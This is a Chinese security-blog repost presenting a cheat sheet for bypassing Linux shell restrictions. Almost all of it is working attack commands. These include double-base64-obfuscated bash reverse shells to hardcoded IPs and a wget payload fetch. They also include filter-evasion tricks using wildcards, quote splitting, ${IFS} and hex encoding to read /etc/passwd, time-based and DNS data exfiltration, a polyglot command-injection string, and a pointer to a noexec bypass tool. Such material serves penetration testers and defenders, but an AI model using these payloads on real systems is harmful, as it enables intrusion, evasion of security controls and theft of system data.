绕过 Linux Shell 限制

admin 2022年6月14日08:44:14安全文章评论6 views3021字阅读10分4秒阅读模式


常见现实绕过

Reverse Shell

# Double-Base64 是避免像+之类符号的方法。90%的情况下是有效的echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'#echoWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h

Short Rev shell

#Trick from Dikline#获取一个rev shell(sh)0>/dev/tcp/10.10.10.10/443#得到输出的rev shellexec >&0

Bypass Paths and forbidden words

# Question mark binary substitution/usr/bin/p?ng # /usr/bin/pingnma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory argumentstouch -- -la # -- stops processing options after the --ls *
# [chars]/usr/bin/n[c] # /usr/bin/nc
# Quotes / Concatenation'p'i'n'g # ping"w"h"o"a"m"i # whoamiuname -a # uname -aech''o test # echo testech""o test # echo testbas''e64 # base64/bin/////sh
# Execution through $0echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbolp${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commandsp$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shownw`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history!-1 # This will be substitute by the last command executed, and !-2 by the penultimate commandmi # This will throw an errorwhoa # This will throw an error!-1!-2 # This will execute whoami

Bypass forbidden spaces

# {form}{cat,lol.txt} # cat lol.txt{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)cat${IFS}/etc/passwd # cat /etc/passwdcat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute itIFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$bIFS=];b=cat]/etc/passwd;$b # Using 2 ";"IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice# Other way, just change each space for ${IFS}echo${IFS}test
# Using hex formatX=$'catx20/etc/passwd'&&$X
# New linesping # These 4 lines will equal to ping
# Undefined variables and !$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefineduname!-1-a # This equals to uname -a

Bypass backslash and slash

cat ${HOME:0:1}etc${HOME:0:1}passwdcat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

Bypass with hex encoding

echo -e "x2fx65x74x63x2fx70x61x73x73x77x64"cat `echo -e "x2fx65x74x63x2fx70x61x73x73x77x64"`abc=$'x2fx65x74x63x2fx70x61x73x73x77x64';cat abc`echo $'catx20x2fx65x74x63x2fx70x61x73x73x77x64'`cat `xxd -r -p <<< 2f6574632f706173737764`xxd -r -ps <(echo 2f6574632f706173737764)cat `xxd -r -ps <(echo 2f6574632f706173737764)`

Bypass IPs

# Decimal IPs127.0.0.1 == 2130706433

Time based data exfiltration

time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

DNS data exfiltration

可以使用burpcollab 或者 pingb#http://pingb.in/

Polyglot command injection

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

只读/不允许执行绕过

如果你在一个只具有只读和无执行权限的文件系统中,仍然有办法执行任意的二进制文件。其中一个就是DDexec。

详细的利用与实现原理请访问

https://github.com/arget13/DDexec


原文始发于微信公众号(关注安全技术):绕过 Linux Shell 限制

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月14日08:44:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  绕过 Linux Shell 限制 https://cn-sec.com/archives/1110671.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: